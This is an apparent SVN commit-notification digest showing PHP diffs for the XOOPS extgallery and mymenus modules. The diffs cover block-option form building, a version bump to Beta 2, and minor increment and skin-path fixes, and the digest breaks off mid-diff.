+ $form .= _MB_EXTGALLERY_PRETTPHOTO_AUTOPLAY . " : " . $prettyautoplaySelect->render() . '<br />';
+ $form .="</fieldset><br />";
+
+ //for jcarousel
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_AJAX_JCAROUSEL . "</legend>";
+ $form .= _MB_EXTGALLERY_JCAROUSEL_HWIDTH . " : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[22] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_JCAROUSEL_VWIDTH . " : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[23] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_JCAROUSEL_VHIGHT . " : <input name=\"options[]\" size=\"7\" maxlength=\"7\" value=\"" . $options[24] . "\" type=\"text\" /><br />";
+ $form .="</fieldset><br />";
+
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_TABLE . "</legend>";
+ $form .= _MB_EXTGALLERY_PHOTO_NUMBER_TABLE . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[25] . "\" type=\"text\" /><br />";
+ $form .="</fieldset><br />";
+
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+
+ $form .= $catHandler->getBlockSelect($options);
+ return $form;
}
// Options Ajax photos
function extgalleryAjaxEdit($options) {
- global $xoopsUser;
-
- $catHandler = xoops_getmodulehandler('publiccat', 'extgallery');
+ global $xoopsUser;
- $form = _MB_EXTGALLERY_PHOTO_NUMBER." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[0]."\" type=\"text\" /><br />";
-
- $showTypeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SHOW_TYPE, 'options[]',$options[1]);
- $showTypeSelect->addOption("RandomPhoto", _MB_EXTGALLERY_TYPE_OP1);
- $showTypeSelect->addOption("LastPhoto", _MB_EXTGALLERY_TYPE_OP2);
- $showTypeSelect->addOption("TopViewPhoto", _MB_EXTGALLERY_TYPE_OP3);
- $showTypeSelect->addOption("TopRatedPhoto", _MB_EXTGALLERY_TYPE_OP4);
- $showTypeSelect->addOption("TopEcardPhoto", _MB_EXTGALLERY_TYPE_OP5);
- $form .= _MB_EXTGALLERY_SHOW_TYPE." : ".$showTypeSelect->render().'<br />';
+ $catHandler = xoops_getmodulehandler('publiccat', 'extgallery');
+
+ $form = _MB_EXTGALLERY_PHOTO_NUMBER." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[0] . "\" type=\"text\" /><br />";
+
+ $showTypeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SHOW_TYPE, 'options[]', $options[1]);
+ $showTypeSelect->addOption("RandomPhoto", _MB_EXTGALLERY_TYPE_OP1);
+ $showTypeSelect->addOption("LastPhoto", _MB_EXTGALLERY_TYPE_OP2);
+ $showTypeSelect->addOption("TopViewPhoto", _MB_EXTGALLERY_TYPE_OP3);
+ $showTypeSelect->addOption("TopRatedPhoto", _MB_EXTGALLERY_TYPE_OP4);
+ $showTypeSelect->addOption("TopEcardPhoto", _MB_EXTGALLERY_TYPE_OP5);
+ $form .= _MB_EXTGALLERY_SHOW_TYPE . " : " . $showTypeSelect->render() . '<br />';
+
+ $jqSelect = new XoopsFormSelect(_MB_EXTGALLERY_JQUERY, 'options[]', $options[2]);
+ $jqSelect->addOption("true", _MB_EXTGALLERY_TRUE);
+ $jqSelect->addOption("false", _MB_EXTGALLERY_FALSE);
+ $form .= _MB_EXTGALLERY_JQUERY . " : " . $jqSelect->render() . '<br />';
+
+ //select option
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_USE_AJAX_EFFECTS . "</legend>";
+ $ajaxeffectSelect = new XoopsFormSelect(_MB_EXTGALLERY_USE_AJAX_EFFECTS, 'options[]', $options[3]);
+ $ajaxeffectSelect->addOption("galleryview", _MB_EXTGALLERY_GVIEW);
+ $ajaxeffectSelect->addOption("galleria", _MB_EXTGALLERY_GRIA);
+ $ajaxeffectSelect->addOption("microgallery", _MB_EXTGALLERY_MICRO);
+ $form .= _MB_EXTGALLERY_USE_AJAX_EFFECTS . " : " . $ajaxeffectSelect->render() . '<br />';
+ $form .="</fieldset><br />";
+
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_GVIEW . "</legend>";
+ $form .= _MB_EXTGALLERY_PANEL_WIDTH . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[4] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_PANEL_HEIGHT . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[5] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_FRAME_WIDTH . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[6] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_FRAME_HEIGHT . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[7] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_BACKGROUND . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[8] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_TRANSITION_SPEED . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[9] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_TRANSITION_INTERVAL . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[10] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_HEIGHT . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[11] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_COLOR . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[12] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_TEXT_COLOR . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[13] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_CAPTION_TEXT_COLOR . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[14] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_BORDER . " : <input name=\"options[]\" size=\"20\" maxlength=\"255\" value=\"" . $options[15] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_OPACITY . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[16] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_OVERLAY_FONT_SIZE . " : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"" . $options[17] . "\" type=\"text\" /><br />";
+ $themeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SELECT_THEME, 'options[]', $options[18]);
+ $themeSelect->addOption("light", _MB_EXTGALLERY_LIGHT);
+ $themeSelect->addOption("dark", _MB_EXTGALLERY_DARK);
+ $themeSelect->addOption("custom", _MB_EXTGALLERY_CUSTOM);
+ $form .= _MB_EXTGALLERY_SELECT_THEME . " : " . $themeSelect->render() . '<br />';
+ $positionSelect = new XoopsFormSelect(_MB_EXTGALLERY_POSITION, 'options[]', $options[19]);
+ $positionSelect->addOption("bottom", _MB_EXTGALLERY_BOTTOM);
+ $positionSelect->addOption("top", _MB_EXTGALLERY_TOP);
+ $form .= _MB_EXTGALLERY_POSITION . " : " . $positionSelect->render() . '<br />';
+ $easingSelect = new XoopsFormSelect(_MB_EXTGALLERY_EASING, 'options[]', $options[20]);
+ $easingSelect->addOption("swing", _MB_EXTGALLERY_EASING_OP1);
+ $easingSelect->addOption("linear", _MB_EXTGALLERY_EASING_OP2);
+ $easingSelect->addOption("easeInOutBack", _MB_EXTGALLERY_EASING_OP3);
+ $easingSelect->addOption("easeInOutQuad", _MB_EXTGALLERY_EASING_OP4);
+ $easingSelect->addOption("easeOutBounce", _MB_EXTGALLERY_EASING_OP5);
+ $form .= _MB_EXTGALLERY_EASING." : " . $easingSelect->render() . '<br />';
+ $form .="</fieldset><br />";
+
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_GRIA . "</legend>";
+ $form .= _MB_EXTGALLERY_GRIA_WIDTH . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[21] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_GRIA_HEIGHT . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[22] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_GRIA_BGCOLOR . " : <input name=\"options[]\" size=\"7\" maxlength=\"255\" value=\"" . $options[23] . "\" type=\"text\" /><br />";
+ $form .= _MB_EXTGALLERY_GRIA_BCOLOR . " : <input name=\"options[]\" size=\"7\" maxlength=\"255\" value=\"" . $options[24] . "\" type=\"text\" /><br />";
+ $bgimgSelect = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_BGIMG, 'options[]', $options[25]);
+ $bgimgSelect->addOption("classic-map", _MB_EXTGALLERY_GRIA_BGIMG_OP1);
+ $bgimgSelect->addOption("classic-map-b", _MB_EXTGALLERY_GRIA_BGIMG_OP2);
+ $form .= _MB_EXTGALLERY_GRIA_BGIMG . " : " . $bgimgSelect->render() . '<br />';
+
+
+ $autoplaySelect = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_AUTOPLAY, 'options[]', $options[26]);
+ $autoplaySelect->addOption("true", _MB_EXTGALLERY_TRUE);
+ $autoplaySelect->addOption("false", _MB_EXTGALLERY_FALSE);
+ $form .= _MB_EXTGALLERY_GRIA_AUTOPLAY . " : " . $autoplaySelect->render() . '<br />';
+ $select_trans = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_TRANS, 'options[]', $options[27]);
+ $select_trans->addOption('fade', _MB_EXTGALLERY_GRIA_TRANS_TYP1);
+ $select_trans->addOption('flash', _MB_EXTGALLERY_GRIA_TRANS_TYP2);
+ $select_trans->addOption('pulse', _MB_EXTGALLERY_GRIA_TRANS_TYP3);
+ $select_trans->addOption('slide', _MB_EXTGALLERY_GRIA_TRANS_TYP4);
+ $select_trans->addOption('fadeslide', _MB_EXTGALLERY_GRIA_TRANS_TYP5);
+ $form .= _MB_EXTGALLERY_GRIA_TRANS . " : " . $select_trans->render() . '<br />';
+ $form .= _MB_EXTGALLERY_GRIA_TSPEED . " : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"" . $options[28] . "\" type=\"text\" /><br />";
+
+
+ $form .="</fieldset><br />";
- $jqSelect = new XoopsFormSelect(_MB_EXTGALLERY_JQUERY, 'options[]',$options[2]);
- $jqSelect->addOption("true", _MB_EXTGALLERY_TRUE);
- $jqSelect->addOption("false", _MB_EXTGALLERY_FALSE);
- $form .= _MB_EXTGALLERY_JQUERY." : ".$jqSelect->render().'<br />';
-
- //select option
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_USE_AJAX_EFFECTS."</legend>";
- $ajaxeffectSelect = new XoopsFormSelect(_MB_EXTGALLERY_USE_AJAX_EFFECTS, 'options[]',$options[3]);
- $ajaxeffectSelect->addOption("galleryview", _MB_EXTGALLERY_GVIEW);
- $ajaxeffectSelect->addOption("galleria", _MB_EXTGALLERY_GRIA);
- $ajaxeffectSelect->addOption("microgallery", _MB_EXTGALLERY_MICRO);
- $form .= _MB_EXTGALLERY_USE_AJAX_EFFECTS." : ".$ajaxeffectSelect->render().'<br />';
- $form .="</fieldset><br />";
-
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_GVIEW."</legend>";
- $form .= _MB_EXTGALLERY_PANEL_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[4]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_PANEL_HEIGHT." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[5]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_FRAME_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[6]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_FRAME_HEIGHT." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[7]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_BACKGROUND." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[8]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_TRANSITION_SPEED." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[9]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_TRANSITION_INTERVAL." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[10]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_HEIGHT." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[11]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_COLOR." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[12]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_TEXT_COLOR." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[13]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_CAPTION_TEXT_COLOR." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[14]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_BORDER." : <input name=\"options[]\" size=\"20\" maxlength=\"255\" value=\"".$options[15]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_OPACITY." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[16]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_OVERLAY_FONT_SIZE." : <input name=\"options[]\" size=\"6\" maxlength=\"255\" value=\"".$options[17]."\" type=\"text\" /><br />";
- $themeSelect = new XoopsFormSelect(_MB_EXTGALLERY_SELECT_THEME, 'options[]',$options[18]);
- $themeSelect->addOption("light", _MB_EXTGALLERY_LIGHT);
- $themeSelect->addOption("dark", _MB_EXTGALLERY_DARK);
- $themeSelect->addOption("custom", _MB_EXTGALLERY_CUSTOM);
- $form .= _MB_EXTGALLERY_SELECT_THEME." : ".$themeSelect->render().'<br />';
- $positionSelect = new XoopsFormSelect(_MB_EXTGALLERY_POSITION, 'options[]',$options[19]);
- $positionSelect->addOption("bottom", _MB_EXTGALLERY_BOTTOM);
- $positionSelect->addOption("top", _MB_EXTGALLERY_TOP);
- $form .= _MB_EXTGALLERY_POSITION." : ".$positionSelect->render().'<br />';
- $easingSelect = new XoopsFormSelect(_MB_EXTGALLERY_EASING, 'options[]',$options[20]);
- $easingSelect->addOption("swing", _MB_EXTGALLERY_EASING_OP1);
- $easingSelect->addOption("linear", _MB_EXTGALLERY_EASING_OP2);
- $easingSelect->addOption("easeInOutBack", _MB_EXTGALLERY_EASING_OP3);
- $easingSelect->addOption("easeInOutQuad", _MB_EXTGALLERY_EASING_OP4);
- $easingSelect->addOption("easeOutBounce", _MB_EXTGALLERY_EASING_OP5);
- $form .= _MB_EXTGALLERY_EASING." : ".$easingSelect->render().'<br />';
- $form .="</fieldset><br />";
-
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_GRIA."</legend>";
- $form .= _MB_EXTGALLERY_GRIA_WIDTH." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[21]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_GRIA_HEIGHT." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[22]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_GRIA_BGCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"255\" value=\"".$options[23]."\" type=\"text\" /><br />";
- $form .= _MB_EXTGALLERY_GRIA_BCOLOR." : <input name=\"options[]\" size=\"7\" maxlength=\"255\" value=\"".$options[24]."\" type=\"text\" /><br />";
- $bgimgSelect = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_BGIMG, 'options[]',$options[25]);
- $bgimgSelect->addOption("classic-map", _MB_EXTGALLERY_GRIA_BGIMG_OP1);
- $bgimgSelect->addOption("classic-map-b",_MB_EXTGALLERY_GRIA_BGIMG_OP2);
- $form .= _MB_EXTGALLERY_GRIA_BGIMG." : ".$bgimgSelect->render().'<br />';
+ $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>" . _MB_EXTGALLERY_MICRO . "</legend>";
+ $sizeSelect = new XoopsFormSelect(_MB_EXTGALLERY_MICRO_SIZE, 'options[]', $options[29]);
+ $sizeSelect->addOption("small", _MB_EXTGALLERY_MICRO_SIZE_OP1);
+ $sizeSelect->addOption("medium",_MB_EXTGALLERY_MICRO_SIZE_OP2);
+ $sizeSelect->addOption("large",_MB_EXTGALLERY_MICRO_SIZE_OP3);
+ $form .= _MB_EXTGALLERY_MICRO_SIZE . " : " . $sizeSelect->render() . '<br />';
+ $form .= "</fieldset><br />";
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
+ array_shift($options);
- $autoplaySelect = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_AUTOPLAY, 'options[]',$options[26]);
- $autoplaySelect->addOption("true", _MB_EXTGALLERY_TRUE);
- $autoplaySelect->addOption("false", _MB_EXTGALLERY_FALSE);
- $form .= _MB_EXTGALLERY_GRIA_AUTOPLAY." : ".$autoplaySelect->render().'<br />';
- $select_trans = new XoopsFormSelect(_MB_EXTGALLERY_GRIA_TRANS, 'options[]',$options[27]);
- $select_trans->addOption('fade', _MB_EXTGALLERY_GRIA_TRANS_TYP1);
- $select_trans->addOption('flash', _MB_EXTGALLERY_GRIA_TRANS_TYP2);
- $select_trans->addOption('pulse', _MB_EXTGALLERY_GRIA_TRANS_TYP3);
- $select_trans->addOption('slide', _MB_EXTGALLERY_GRIA_TRANS_TYP4);
- $select_trans->addOption('fadeslide', _MB_EXTGALLERY_GRIA_TRANS_TYP5);
- $form .= _MB_EXTGALLERY_GRIA_TRANS." : ".$select_trans->render().'<br />';
- $form .= _MB_EXTGALLERY_GRIA_TSPEED." : <input name=\"options[]\" size=\"5\" maxlength=\"255\" value=\"".$options[28]."\" type=\"text\" /><br />";
-
-
- $form .="</fieldset><br />";
-
- $form .= "<fieldset><legend style='font-weight:bold; color:#990000;'>"._MB_EXTGALLERY_MICRO."</legend>";
- $sizeSelect = new XoopsFormSelect(_MB_EXTGALLERY_MICRO_SIZE, 'options[]',$options[29]);
- $sizeSelect->addOption("small", _MB_EXTGALLERY_MICRO_SIZE_OP1);
- $sizeSelect->addOption("medium",_MB_EXTGALLERY_MICRO_SIZE_OP2);
- $sizeSelect->addOption("large",_MB_EXTGALLERY_MICRO_SIZE_OP3);
- $form .= _MB_EXTGALLERY_MICRO_SIZE." : ".$sizeSelect->render().'<br />';
- $form .="</fieldset><br />";
-
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift($options);
- array_shift...
[truncated message content] |
|
From: <be...@us...> - 2014-02-10 12:38:51
|
Revision: 12303
http://sourceforge.net/p/xoops/svn/12303
Author: beckmi
Date: 2014-02-10 12:38:48 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Changing version to Beta 2
Modified Paths:
--------------
XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt
XoopsModules/mymenus/trunk/mymenus/xoops_version.php
Modified: XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt 2014-02-10 12:35:06 UTC (rev 12302)
+++ XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt 2014-02-10 12:38:48 UTC (rev 12303)
@@ -1,7 +1,9 @@
+<b><u>Version 1.5 Beta 2 (2014-02-10)</u></b>
+- fixed some minor issues with block options (mamba)
+
<b><u>Version 1.5 Beta 1 (2014-02-08)</u></b>
- merged @luciorota code: possibility to have more then one skin provided in the theme (bleekk)
-- fixed some minor issues with block options (mamba)
<b><u>Version 1.454 Beta 1 (2014-01-29)</u></b>
Modified: XoopsModules/mymenus/trunk/mymenus/xoops_version.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/xoops_version.php 2014-02-10 12:35:06 UTC (rev 12302)
+++ XoopsModules/mymenus/trunk/mymenus/xoops_version.php 2014-02-10 12:38:48 UTC (rev 12303)
@@ -36,10 +36,10 @@
$modversion['icons32'] = '../../Frameworks/moduleclasses/icons/32';
//about
-$modversion['release_date'] = '2013/10/06';
+$modversion['release_date'] = '2014/02/10';
$modversion["module_website_url"] = "www.xoops.org";
$modversion["module_website_name"] = "XOOPS";
-$modversion["module_status"] = "Beta 1";
+$modversion["module_status"] = "Beta 2";
$modversion["author_website_url"] = "http://www.xuups.com/";
$modversion["author_website_name"] = "Xuups";
$modversion['min_php'] = '5.3.7';
|
|
From: <be...@us...> - 2014-02-10 12:35:10
|
Revision: 12302
http://sourceforge.net/p/xoops/svn/12302
Author: beckmi
Date: 2014-02-10 12:35:06 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
fixed some minor issues with block options (mamba)
Modified Paths:
--------------
XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php
XoopsModules/mymenus/trunk/mymenus/admin/menu.php
XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php
XoopsModules/mymenus/trunk/mymenus/class/builder.php
XoopsModules/mymenus/trunk/mymenus/class/links.php
XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt
XoopsModules/mymenus/trunk/mymenus/xoops_version.php
Modified: XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -108,7 +108,7 @@
foreach ($test['mod'] as $order=>$value) {
$obj = $this_handler->get($order);
- $obj->setVar('weight', $i++);
+ $obj->setVar('weight', ++$i);
/*set submenu*/
if(isset($value)){
@@ -201,11 +201,11 @@
$criteria = new CriteriaCompo();
$criteria->add(new Criteria('id', $id));
$criteria->add(new Criteria('pid', $id),'OR');
-
+
//first delete links level 2
global $xoopsDB;
- $query = "DELETE FROM ".$xoopsDB->prefix("mymenus_links")." WHERE pid = (
- SELECT id FROM (
+ $query = "DELETE FROM ".$xoopsDB->prefix("mymenus_links")." WHERE pid = (
+ SELECT id FROM (
SELECT * FROM ".$xoopsDB->prefix("mymenus_links")." WHERE pid = ".$id.") AS sec
);";
$result = $xoopsDB->queryF($query);
Modified: XoopsModules/mymenus/trunk/mymenus/admin/menu.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/menu.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/admin/menu.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -28,19 +28,19 @@
xoops_loadLanguage('admin', $dirname);
$i = 0;
-$i++;
+++$i;
$adminmenu[$i]["title"] = _MI_MYMENUS_ADMMENU0;
$adminmenu[$i]["link"] = 'admin/index.php';
$adminmenu[$i]["icon"] = $pathIcon32.'/home.png';
-$i++;
+++$i;
$adminmenu[$i]['title'] = _MI_MYMENUS_MENUSMANAGER;
$adminmenu[$i]['link'] = "admin/admin_menus.php";
$adminmenu[$i]["icon"] = $pathIcon32.'/manage.png';
-$i++;
+++$i;
$adminmenu[$i]['title'] = _MI_MYMENUS_MENUMANAGER;
$adminmenu[$i]['link'] = "admin/admin_links.php";
$adminmenu[$i]["icon"] = $pathIcon32.'/insert_table_row.png';
-$i++;
+++$i;
$adminmenu[$i]['title'] = _MI_MYMENUS_ABOUT;
$adminmenu[$i]['link'] = "admin/about.php";
$adminmenu[$i]["icon"] = $pathIcon32.'/about.png';
Modified: XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -135,7 +135,7 @@
$menuObj = $menus_handler->getAll($menucriteria, null, false, false);
$itemsCount = count($menuObj);
if ($menuObj) {
- for ($i = 0; $i < $itemsCount; $i++) {
+ for ($i = 0; $i < $itemsCount; ++$i) {
$menucss = isset($menuObj[$i]['css']) ? $menuObj[$i]['css']: '';
}
}
@@ -160,7 +160,7 @@
{
//Unique ID
if (!$options[3] || (isset($_GET['op']) && $_GET['op'] == 'clone')) $options[3] = time();
-
+$i = 0;
$menus_handler =& xoops_getModuleHandler('menus', 'mymenus');
xoops_loadLanguage('admin', 'mymenus');
@@ -177,16 +177,17 @@
xoops_load('XoopsFormLoader');
- //Menu
- $form = "<b>" . _MB_MYMENUS_SELECT_MENU . "</b> ";
- $element = new XoopsFormSelect('', 'options[0]', $options[0], 1);
+ //Menu 0
+ $form = "<b>" . _MB_MYMENUS_SELECT_MENU . "</b> ";
+ $element = new XoopsFormSelect('', 'options['.$i.'0]', $options[$i], 1);
$element->addOptionArray($menus);
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_SELECT_MENU_DSC . "</i><br /><br />";
- //Skin
+ //Skin 1
+ ++$i;
xoops_load('XoopsLists');
- $temp_skins = XoopsLists::getDirListAsArray(XOOPS_ROOT_PATH . "/modules/mymenus/skins/", "");
+ $temp_skins = XoopsLists::getDirListAsArray(XOOPS_ROOT_PATH . "/modules/mymenus/skins/", "");
$skins_options = array();
foreach ($temp_skins as $key => $skin) {
if (file_exists($GLOBALS['xoops']->path('modules/mymenus/skins/' . $skin . '/skin_version.php'))) {
@@ -194,48 +195,58 @@
}
}
$form .= "<b>" . _MB_MYMENUS_SELECT_SKIN . "</b> ";
- $element = new XoopsFormSelect('', 'options[1]', $options[1], 1);
+ $element = new XoopsFormSelect('', 'options['.$i.'0]', $options[$i], 1);
$element->addOptionArray($skins_options);
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_SELECT_SKIN_DSC . "</i><br /><br />";
- //Use skin from,theme
+ //Use skin from,theme 2
+ ++$i;
$form .= "<b>" . _MB_MYMENUS_USE_THEME_SKIN . "</b> ";
- $element = new XoopsFormRadioYN('', 'options[2]', $options[2]);
+ $element = new XoopsFormRadioYN('', 'options['.$i.'0]', $options[$i]);
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_USE_THEME_SKIN_DSC . "</i><br /><br />";
- //Skin from theme - @luciorota
- xoops_load('XoopsLists');
- $temp_theme_skins = XoopsLists::getDirListAsArray(XOOPS_ROOT_PATH . "/themes/" . $GLOBALS['xoopsConfig']['theme_set'] . "/modules/mymenus/skins/", "");
- $theme_skins_options = array();
- foreach ($temp_theme_skins as $key => $theme_skin) {
- if (file_exists(XOOPS_ROOT_PATH . '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '/skin_version.php')) {
- $theme_skins_options[$theme_skin] = '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '';
- }
- }
+ //Skin from theme 3 - @luciorota
- $form .= "<b>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME . "</b> ";
- $element = new XoopsFormSelect('', 'options[3]', $options[3], 1);
- $element->addOption('', '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/menu');
- $element->addOptionArray($theme_skins_options);
- $form .= $element->render();
- $form .= "</select>\n <i>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME_DSC . "</i><br /><br />";
- //Display method
+ if (file_exists(XOOPS_ROOT_PATH . '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/')) {
+ ++$i;
+ xoops_load('XoopsLists');
+ $temp_theme_skins = XoopsLists::getDirListAsArray(XOOPS_ROOT_PATH . "/themes/" . $GLOBALS['xoopsConfig']['theme_set'] . "/modules/mymenus/skins/","");
+ if (isset($temp_theme_skins)) {
+ $theme_skins_options = array();
+ foreach ($temp_theme_skins as $key => $theme_skin) {
